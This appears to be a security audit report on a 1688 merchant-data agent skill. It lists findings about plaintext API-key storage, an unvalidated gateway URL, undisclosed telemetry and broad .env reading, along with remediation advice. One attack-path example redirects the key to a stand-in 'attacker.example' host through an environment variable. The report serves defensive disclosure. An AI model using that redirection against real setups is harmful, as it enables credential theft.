1688 Shop Freedom Query Data

• Outcome: Review
• Latest audit: Sep 16, 2026 · 8:54 AM UTC
• Version: 1.0.0

Overview

The skill mostly does what it claims, but it handles merchant API credentials and exported business data with weaker scoping and disclosure than users should accept blindly.

Review before installing. Use this only if you are comfortable storing a 1688 merchant AK locally in OpenClaw configuration, and avoid invoking the configure capability through an untrusted OPENCLAW_GATEWAY_URL. Treat generated HTML or Excel outputs as sensitive business files, and be cautious about the visualization option because it may hand query results to another installed skill.

A.I.G

Vulnerability Patterns

• Insecure Skill Coding Practices: Finds exploitable flaws such as hardcoded secrets or command injection
• Skill Instruction Hijacking: Alters the agent's session goals or safety constraints when the skill loads
• Agent Memory Poisoning: Writes attacker-controlled rules into memory that affect later sessions
• Remote Payload Retrieval and Execution: Fetches external code whose behavior can change after review
• Embedded Malicious Code: Ships malicious scripts inside the skill and executes them locally

Findings (2)

T09 · Insecure Skill Coding Practices

Warning

• Location: cli.py:60
• Finding: AK Credential Stored in Plaintext Without Enforced Access Controls<![CDATA[ ## Vulnerability Details **File Location**: `cli.py:60-73`; also present in `scripts/capabilities/configure/service.py:79-83` **Vulnerability Type**: Plaintext credential storage with unsafe file-permission handling **Risk Level**: Medium ### Vulnerable Code ```python # cli.py:60-73 OPENCLAW_CONFIG_PATH.parent.mkdir(parents=True, exist_ok=True) config = {} if OPENCLAW_CONFIG_PATH.exists(): try: with open(OPENCLAW_CONFIG_PATH, "r", encoding="utf-8") as f: config = json.load(f) except Exception: pass config.setdefault("skills", {}).setdefault("entries", {}) config["skills"]["entries"]["1688-freedom-query-merchant-data"] = {"apiKey": ak_value} with open(OPENCLAW_CONFIG_PATH, "w", encoding="utf-8") as f: json.dump(config, f, ensure_ascii=False, indent=2) ``` The alternate file-based configuration path has the same weakness: ```python # scripts/capabilities/configure/service.py:79-83 CONFIG_PATH.parent.mkdir(parents=True, exist_ok=True) with open(CONFIG_PATH, "w", encoding="utf-8") as f: json.dump(config, f, ensure_ascii=False, indent=2) return True ``` ### Technical Analysis The configured AK contains both the access-key identifier and secret and is stored directly in `~/.openclaw/openclaw.json` as plaintext JSON. Neither write path creates the file with an explicit owner-only mode, verifies ownership, rejects symbolic links, or corrects unsafe permissions on an existing file. For newly created files, permissions depend entirely on the process umask. A permissive umask can produce a file readable by other local users. If the file already has overly broad permissions, opening it with mode `"w"` preserves those permissions. The main `cli.py configure` path directly performs this write and bypasses the validation and gateway-based configuration logic in `scripts/capabilities/configure/service.py`. ### Attack Path 1. A user runs `python3 cli.py configure YOUR_AK`. 2. The complete AK is written in plain ...[truncated 1022 chars]
• Remediation: <![CDATA[ ## Remediation Suggestions 1. Store the AK in an operating-system credential manager or the OpenClaw secret-management facility rather than plaintext configuration. 2. If file storage is unavoidable: - Create the file atomically with owner-only mode `0600`. - Create and verify the parent directory with mode `0700`. - Verify that the target is a regular file owned by the current user. - Reject symbolic links using `O_NOFOLLOW` where supported. - Correct unsafe permissions on existing files before writing. - Write to a protected temporary file, flush and synchronize it, and atomically replace the destination. 3. Avoid replacing the entire skill entry when updating the credential, because doing so may unintentionally destroy unrelated configuration. 4. Route `cli.py configure` through the validated configuration service rather than maintaining a separate, less secure implementation. 5. Document credential storage, rotation, and revocation procedures. ]]>

T09 · Insecure Skill Coding Practices

Warning

• Location: scripts/capabilities/configure/service.py:34
• Finding: Full AK Credential Can Be Transmitted to an Unrestricted Environment-Controlled URL<![CDATA[ ## Vulnerability Details **File Location**: `scripts/capabilities/configure/service.py:34-52` **Vulnerability Type**: Unvalidated credential destination and possible cleartext credential transmission **Risk Level**: Medium ### Vulnerable Code ```python gateway_url = os.environ.get("OPENCLAW_GATEWAY_URL", "http://localhost:18789") token = os.environ.get("OPENCLAW_GATEWAY_TOKEN", "") payload = { "skills": { "entries": { SKILL_NAME: { "apiKey": api_key } } } } try: headers = {} if token: headers["Authorization"] = f"Bearer {token}" resp = requests.patch(f"{gateway_url}/api/config", headers=headers, json=payload, timeout=5) return resp.ok except Exception: return False ``` ### Technical Analysis `OPENCLAW_GATEWAY_URL` fully controls the origin receiving the configuration request. The implementation does not validate the URL scheme, hostname, port, resolved address, or trust boundary before placing the complete AK in the JSON request body. Consequently, the credential can be sent to a remote attacker-controlled endpoint. The code also permits unencrypted HTTP, exposing the AK to network interception when a non-loopback HTTP URL is used. The top-level `cli.py` currently intercepts the `configure` command and does not call this function. However, the bundled capability remains reachable by directly invoking `scripts/capabilities/configure/cmd.py` or importing the configuration service. ### Attack Path 1. An attacker or compromised launcher sets: ```bash export OPENCLAW_GATEWAY_URL=http://attacker.example ``` 2. The victim or agent directly invokes: ```bash python3 scripts/capabilities/configure/cmd.py YOUR_AK ``` 3. `configure_via_gateway()` constructs a PATCH request to: ```text http://attacker.example/api/config ``` 4. The request body contains the complete AK: ```json { "skills": { "en ...[truncated 788 chars]
• Remediation: <![CDATA[ ## Remediation Suggestions 1. Restrict the default gateway destination to an explicit loopback origin such as `http://127.0.0.1:18789`. 2. Parse and validate `OPENCLAW_GATEWAY_URL` before sending credentials: - Permit only `http` for verified loopback addresses. - Require HTTPS for any non-loopback destination. - Maintain an explicit allowlist of trusted hostnames and ports. - Reject embedded user information, fragments, unexpected paths, redirects, and ambiguous host encodings. 3. Disable automatic redirects for credential-bearing requests or revalidate every redirect destination. 4. Resolve the hostname and reject private, link-local, multicast, or unexpected addresses unless explicitly authorized. 5. Do not send `OPENCLAW_GATEWAY_TOKEN` to an origin that has not passed the same validation. 6. Prefer an authenticated local IPC channel, such as a protected Unix-domain socket, over an environment-configurable HTTP endpoint. 7. Require explicit user confirmation before transmitting an AK to a newly configured remote origin. ]]>

SkillSpector

Vulnerability Patterns

• Data Exfiltration: External Transmission, Env Variable Harvesting, File System Enumeration
• Privilege Escalation: Excessive Permissions, Sudo/Root Execution, Credential Access
• Excessive Agency: Unrestricted Tool Access, Autonomous Decision Making, Scope Creep
• Taint Tracking: Direct Taint Flow, Variable-Mediated Taint Flow, Credential Exfiltration Chain
• MCP Least Privilege: Underdeclared Capability, Wildcard Permission, Missing Permission Declaration

Findings (39)

Tainted flow: 'gateway_url' from os.environ.get (line 34, credential/environment) → requests.patch (network output)

Critical

• Category: Data Flow

Content

headers = {}
        if token:
            headers["Authorization"] = f"Bearer {token}"
        resp = requests.patch(f"{gateway_url}/api/config",
                              headers=headers, json=payload, timeout=5)
        return resp.ok
    except Exception:

• Confidence: 95% confidence
• Finding: The code takes OPENCLAW_GATEWAY_URL directly from the environment and sends the supplied API key to that endpoint without validating the scheme, host, or trust boundary. An attacker who can influence environment variables or the runtime context can redirect the secret-bearing PATCH request to an attacker-controlled server, causing credential exfiltration; the default use of plain HTTP also weakens transport security.

Tp4

High

• Category: MCP Tool Poisoning
• Confidence: 98% confidence
• Finding: The skill description emphasizes query translation and interpretation, while the documented setup includes reading environment variables/local config and writing configuration via gateway or local files. Hidden config manipulation expands the attack surface because it can alter trust settings or persist secrets outside the user's expectations.

Tp4

High

• Category: MCP Tool Poisoning
• Confidence: 99% confidence
• Finding: The skill description emphasizes query translation and interpretation, while the documented setup includes reading environment variables/local config and writing configuration via gateway or local files. Hidden config manipulation expands the attack surface because it can alter trust settings or persist secrets outside the user's expectations.

Tp4

High

• Category: MCP Tool Poisoning
• Confidence: 98% confidence
• Finding: The skill description emphasizes query translation and interpretation, while the documented setup includes reading environment variables/local config and writing configuration via gateway or local files. Hidden config manipulation expands the attack surface because it can alter trust settings or persist secrets outside the user's expectations.

Tp4

High

• Category: MCP Tool Poisoning
• Confidence: 90% confidence
• Finding: The skill description emphasizes query translation and interpretation, while the documented setup includes reading environment variables/local config and writing configuration via gateway or local files. Hidden config manipulation expands the attack surface because it can alter trust settings or persist secrets outside the user's expectations.

Tp4

High

• Category: MCP Tool Poisoning
• Confidence: 91% confidence
• Finding: The skill description emphasizes query translation and interpretation, while the documented setup includes reading environment variables/local config and writing configuration via gateway or local files. Hidden config manipulation expands the attack surface because it can alter trust settings or persist secrets outside the user's expectations.

Credential Access

High

• Category: Privilege Escalation

Content

职责：每次 CLI 命令执行时，向 skill 网关上报一次调用记录，用于统计 skill 调用次数。
上报失败不影响主流程，静默处理。

环境变量（从项目根目录 .env 读取）：
    SKILL_NAME     skill 名称，默认 1688-freedom-query-merchant-data
    SKILL_VERSION  skill 版本，默认 1.0.0
    SKILL_CHANNEL  发布渠道，默认 clawhub

• Confidence: 60% confidence
• Finding: Code accesses credential files (SSH keys, AWS credentials, etc.). This could indicate credential theft attempts.

Credential Access

High

• Category: Privilege Escalation

Content

职责：每次 CLI 命令执行时，向 skill 网关上报一次调用记录，用于统计 skill 调用次数。
上报失败不影响主流程，静默处理。

环境变量（从项目根目录 .env 读取）：
    SKILL_NAME     skill 名称，默认 1688-freedom-query-merchant-data
    SKILL_VERSION  skill 版本，默认 1.0.0
    SKILL_CHANNEL  发布渠道，默认 clawhub

• Confidence: 60% confidence
• Finding: Code accesses credential files (SSH keys, AWS credentials, etc.). This could indicate credential theft attempts.

Credential Access

High

• Category: Privilege Escalation

Content

职责：每次 CLI 命令执行时，向 skill 网关上报一次调用记录，用于统计 skill 调用次数。
上报失败不影响主流程，静默处理。

环境变量（从项目根目录 .env 读取）：
    SKILL_NAME     skill 名称，默认 1688-freedom-query-merchant-data
    SKILL_VERSION  skill 版本，默认 1.0.0
    SKILL_CHANNEL  发布渠道，默认 clawhub

• Confidence: 60% confidence
• Finding: Code accesses credential files (SSH keys, AWS credentials, etc.). This could indicate credential theft attempts.

Credential Access

High

• Category: Privilege Escalation

Content

def _load_env_file() -> None:
    """解析项目根目录的 .env 文件，将变量注入 os.environ（已有环境变量不覆盖）。"""
    env_path = _ROOT_DIR / ".env"
    if not env_path.exists():
        return
    with open(env_path, encoding="utf-8") as f:

• Confidence: 60% confidence
• Finding: Code accesses credential files (SSH keys, AWS credentials, etc.). This could indicate credential theft attempts.

Lp3

Medium

• Category: MCP Least Privilege
• Confidence: 95% confidence
• Finding: The skill documents capabilities to read environment/configuration, access the network, and write local files, but it declares no explicit tool scope or permission boundaries. In an agent setting, missing allowlists increases the chance of unintended tool use, broader-than-necessary access, and abuse of AK/configuration or exported merchant data.

Missing User Warnings

Medium

• Confidence: 97% confidence
• Finding: The AK configuration flow asks users to provide credentials but does not warn that the credential may be stored locally. Silent local persistence of API keys materially increases the risk of credential theft from disk, accidental inclusion in backups, or reuse by other local processes.

Missing User Warnings

Medium

• Confidence: 93% confidence
• Finding: The skill encourages direct execution of data-query commands without clearly warning that merchant operational data will be transmitted to external or gateway APIs. In a business-data context, this can expose sensitive commercial metrics without sufficient user awareness or consent.

Description-Behavior Mismatch

Medium

• Confidence: 94% confidence
• Finding: The workflow extends beyond querying/interpretation into HTML generation and Excel export, which introduces local data persistence and possible sharing of merchant data. Because these side effects are outside the stated purpose, users may not anticipate that sensitive business data will be written to disk or transformed into distributable artifacts.

Context-Inappropriate Capability

Medium

• Confidence: 92% confidence
• Finding: The skill can invoke other skills and generate local files even though its stated purpose is merchant data querying. Cross-skill invocation can exfiltrate or over-share merchant data to less-trusted components, and local file generation creates durable copies that may be accessible beyond the current session.

Missing User Warnings

Medium

• Confidence: 95% confidence
• Finding: Exporting merchant data to Excel in a local outputs directory creates a durable copy of potentially sensitive business information without an upfront warning. This increases the risk of unauthorized access, accidental sharing, or retention beyond the user's intent.

Natural-Language Policy Violations

Medium

• Confidence: 97% confidence
• Finding: The rule `中文输出` requires the final answer to be in Chinese and forbids English metric names, which imposes a fixed language choice. This is a natural-language policy issue because the skill does not offer the user any language preference or document a justified region-specific language constraint.

Context-Inappropriate Capability

Medium

• Confidence: 88% confidence
• Finding: The code dynamically enumerates subdirectories under scripts/capabilities and imports any cmd.py it finds, which creates a broad execution surface beyond the narrow declared purpose of querying shop data. If an attacker can place or modify files in that directory or influence the package contents, arbitrary capability code can be executed simply by invoking the CLI or viewing usage information.

Description-Behavior Mismatch

Medium

• Confidence: 92% confidence
• Finding: The CLI implements local API key configuration and persistence even though the skill’s stated purpose is shop-data querying and interpretation. This expands the skill’s privileges and data-handling scope, and storing credentials in a local JSON config without stronger protections increases the chance of accidental disclosure via weak file permissions, backups, or other local access.

Missing User Warnings

Medium

• Confidence: 95% confidence
• Finding: The configure command writes the provided API key directly into a local config file without any prior user-facing warning that the secret will be persisted on disk. This can surprise users into exposing credentials through shared machines, source-control mistakes, backups, or permissive filesystem settings, especially since the file path is treated as routine configuration.

Missing User Warnings

Medium

• Confidence: 93% confidence
• Finding: This markdown file explicitly offers actions that produce output artifacts affecting user data: an interactive HTML dashboard and a structured Excel export. Under the markdown-specific warning criterion, the description should warn users about data export/file generation implications, but these options are presented without any caution about where data goes, what files are created, or potential sensitivity of exported content.

Natural-Language Policy Violations

Medium

• Confidence: 89% confidence
• Finding: The only natural-language documentation in this file is written in Chinese, with no indication that language choice is optional or that the skill is intentionally limited to a Chinese-speaking context. Under the policy, forcing a specific language without opt-in or documented justification is a locale/language policy concern.

Natural-Language Policy Violations

Medium

• Confidence: 86% confidence
• Finding: This Python file contains user-facing docstrings and error messages exclusively in Chinese, including the module description and all runtime output text. The policy allows locale constraints only when the skill offers language choice or clearly documents a justified regional limitation, which is not present here.

Context-Inappropriate Capability

Medium

• Confidence: 90% confidence
• Finding: This module reads the project-root .env file and injects its contents into process environment variables even though the stated skill purpose is shop data querying, not local configuration harvesting. While the code only appears to use three expected keys afterward, the blanket parsing of .env expands the skill's access to potentially sensitive local data and creates an unnecessary trust boundary violation.

Description-Behavior Mismatch

Medium

• Confidence: 95% confidence
• Finding: The file performs outbound usage telemetry to a gateway on every CLI invocation, which is outside the described behavior of converting natural-language shop questions into API calls and interpretations. Undisclosed telemetry is dangerous because it adds unexpected network-side data sharing and creates a channel that can be extended to transmit more than minimal usage metadata.

Static analysis

No suspicious patterns detected.